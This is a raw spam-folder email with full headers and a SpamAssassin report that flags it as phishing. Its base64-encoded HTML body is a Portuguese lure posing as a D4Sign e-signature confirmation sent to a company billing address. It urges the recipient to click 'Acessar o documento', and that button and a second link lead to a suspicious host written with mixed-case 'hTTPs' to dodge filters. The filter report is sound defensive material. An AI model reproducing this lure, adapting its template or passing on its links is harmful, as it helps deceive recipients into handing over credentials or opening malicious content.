Return-Path: <nao-responder079429@concordia647k.auditoria.biz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id sPF+DNMgwmf1DAAAIWsJAg
	(envelope-from <nao-responder079429@concordia647k.auditoria.biz>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Fri, 28 Feb 2025 17:47:15 -0300
Return-path: <nao-responder079429@concordia647k.auditoria.biz>
Envelope-to: faturamento@lrsys.com.br
Delivery-date: Fri, 28 Feb 2025 17:47:15 -0300
Received: from concordia647k.auditoria.biz ([5.161.57.176]:40920)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <nao-responder079429@concordia647k.auditoria.biz>)
	id 1to7GI-00011I-31
	for faturamento@lrsys.com.br;
	Fri, 28 Feb 2025 17:47:15 -0300
Received: from concordia647k.auditoria.biz (localhost [127.0.0.1])
	by concordia647k.auditoria.biz (Postfix) with ESMTP id 5A79A22E0D
	for <faturamento@lrsys.com.br>; Fri, 28 Feb 2025 17:46:29 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=concordia647k.auditoria.biz; s=default; t=1740775589;
	bh=YXYjN7GaRMoGEfw/UWWKJe/qVvxq6AGkNAXo1V98fv8=;
	h=From:To:Reply-To:Date:Subject:From;
	b=UwgR6TJnHU83bT9LkrR1lmXd7TwAWoKZGBL3Dr0CuyB5xemNXTbCoqfYpjgbH9ASU
	 4sGbkvUme8En+HAaZ+szxPOT6VrVaeY+wPxb+/gasDpVi2b4B2qlf8IQxmFvu+qPqD
	 qpqr0eMd9XcLnTUXVzgH4zfN8iAStG0Gs1Q/io0jLT5dMmqLADmEnR/3HH2UQc9+9f
	 kWTLHyv+ACTNW9OYE9JsT3IFNrXSvpwzoO+3+Z5a8j8GYd+RH/PmYejGLr2SpdnP+w
	 BAzTWku2YlRQm4DfDPeklGU8w4UbbFNu0zS3p7PZBg9q/PyxQk81Lau9QHb93FNtbL
	 4soRvNeRRfPUw==
From: "CE64" <nao-responder079429@concordia647k.auditoria.biz>
To: faturamento@lrsys.com.br
Content-Type: multipart/alternative; boundary="rQXF6feOtMYI1palUopPKZFF4d5=_Qensm"
MIME-Version: 1.0
Reply-To: jkp08kqs@concordia647k.auditoria.biz
Date: Fri, 28 Feb 2025 17:46:29 -0300
Message-Id: <20250228204629.5A79A22E0D@concordia647k.auditoria.biz>
X-Spam-Status: Yes, score=10.7
X-Spam-Score: 107
X-Spam-Bar: ++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Seu documento
    está pronto Acessar o documento Olá faturamento@lrsys.com.br, 
 Content analysis details:   (10.7 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: auditoria.biz]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: auditoria.biz]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.57.176 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.57.176 listed in bl.score.senderscore.com]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  0.2 FROM_FMBLA_NEWDOM14    From domain was registered in last 7-14 days
X-Spam-Flag: YES
Subject:  ***SPAM*** 
 =?UTF-8?B?8J+TgyBBc3NpbmF0dXJhIGNvbmZpcm1hZGEgLSBWZWphIG9zIGRldGFsaGVz?= -
 Protocolo: JK839999464O2961511

This is a multi-part message in MIME format

--rQXF6feOtMYI1palUopPKZFF4d5=_Qensm
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--rQXF6feOtMYI1palUopPKZFF4d5=_Qensm
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InB0LXB0Ij4KICA8aGVhZD4KICAgIDxtZXRhIGNo
YXJzZXQ9InV0Zi04Ij4KICA8L2hlYWQ+CiAgPGJvZHkgc3R5bGU9Im1hcmdpbjogMDsgcGFkZGlu
ZzogMDsgYmFja2dyb3VuZC1jb2xvcjogI0Y1RjZGQTsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5z
LXNlcmlmOyI+CiAgICA8ZGl2IGNsYXNzPSJOeXUiIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWF4LXdp
ZHRoOiA2MDBweDsgbWFyZ2luOiAwIGF1dG87Ij4KICAgICAgPGRpdiBjbGFzcz0iY2Nuc2JzTTgi
IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGJhY2tncm91bmQtY29sb3I6ICM4ODQwOTY7IGNv
bG9yOiAjZmZmZmZmOyBwYWRkaW5nOiAyMHB4OyBtYXJnaW4tdG9wOiAxMHB4OyBib3JkZXItcmFk
aXVzOiA2cHg7Ij4KICAgICAgICA8aDIgc3R5bGU9Im1hcmdpbi1LRDBLMkFFSlZMVVc6IDEwcHg7
Ij5TZXUgZG9jdW1lbnRvIGVzdCYjMjI1OyBwcm9udG88L2gyPgogICAgICAgIDxhIGhyZWY9ImhU
VFBzOi8vNzQtNTAtMTI3LTQ5LnN0YXRpYy5odnZjLnVzL0kxMzlYek9RWDRDNXo2L0ZRbHZsTmg2
NE5nUTVBNy9vRjlvcGpLVHN1Y3JWNy9OQVBfMzk5OTUzIiByZWw9Im5vcmVmZXJyZXIiICAgdGFy
Z2V0PSJfYmxhbmsiIGRhdGEtYXV0aD0iTm90QXBwbGljYWJsZSIgc3R5bGU9ImJhY2tncm91bmQt
Y29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsgYm9yZGVyOiAycHggc29saWQgcmdiKDI1NSwgMjU1
LCAyNTUpOyBib3JkZXItcmFkaXVzOiA2cHg7IGNvbG9yOiByZ2IoNTEsIDEyMSwgMjQyKTsgZGlz
cGxheTogaW5saW5lLWJsb2NrOyBmb250LWZhbWlseTogYXJpYWwsIGhlbHZldGljYSwgc2Fucy1z
ZXJpZjsgZm9udC1zaXplOiAxNnB4OyBmb250LXdlaWdodDogYm9sZDsgbGV0dGVyLXNwYWNpbmc6
IDBweDsgbGluZS1oZWlnaHQ6IDE2cHg7IHBhZGRpbmc6IDEycHggMThweDsgdGV4dC1hbGlnbjog
Y2VudGVyOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IG1hcmdpbi10b3A6IDEwcHg7Ij5BY2Vzc2Fy
IG8gZG9jdW1lbnRvPC9hPgogICAgICA8L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0iY29udGVudCIg
c3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNmZmZmZmY7IHBhZGRpbmc6IDE4cHg7IG1hcmdpbi10
b3A6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDZweDsiPgogICAgICAgIDxwIHN0eWxlPSJtYXJnaW4t
M1JZOFVFM1FHSjJCOiAxMHB4OyI+T2wmIzIyNTsgZmF0dXJhbWVudG9AbHJzeXMuY29tLmJyLDwv
cD4KICAgICAgICA8cCBzdHlsZT0ibWFyZ2luLVc4TE03WkNBMElDUzogMTBweDsiPkEgc3VhIGFz
c2luYXR1cmEgZWxldHImIzI0NDtuaWNhIGZvaSBjb25jbHUmIzIzNztkYSBjb20gc3VjZXNzbyEg
TyBjcmlhZG9yIGRvIGRvY3VtZW50byBqJiMyMjU7IGZvaSBhdXRvbWF0aWNhbWVudGUgbm90aWZp
Y2FkbyBxdWUgdm9jJiMyMzQ7IGFzc2lub3UuPC9wPgogICAgICAgIDxwIHN0eWxlPSJtYXJnaW4t
WUVPMFBDUzNZQjE0OiAxMHB4OyI+Vm9jJiMyMzQ7IHBvZGUgYWNlc3NhciBvcyBkb2N1bWVudG9z
IHF1ZSB2b2MmIzIzNDsgYXNzaW5vdSBjbGljYW5kbyBubyBib3QmIzIyNztvIGFjaW1hIG91IGFj
ZXNzYW5kbyBvIDxhIGhyZWY9ImhUdFBTOi8vNzQtNTAtMTI3LTQ5LnN0YXRpYy5odnZjLnVzL3Ry
bm5tdkRFOTFweFVMak9QYngvSTEzOVh6T1FYNEM1ejYvRlFsdmxOaDY0TmdRNUE3L3htaGVmMWta
QTJlM1phL1hHR18xODIyNzQiIHN0eWxlPSJjb2xvcjogIzMzNzlGMjsgdGV4dC1kZWNvcmF0aW9u
OiBub25lOyI+RDRTaWduOjpmYXR1cmFtZW50b0BscnN5cy5jb20uYnI8L2E+LjwvcD4KICAgICAg
PC9kaXY+CiAgICA8L2Rpdj4KICA8L2JvZHk+CjwvaHRtbD4K

--rQXF6feOtMYI1palUopPKZFF4d5=_Qensm--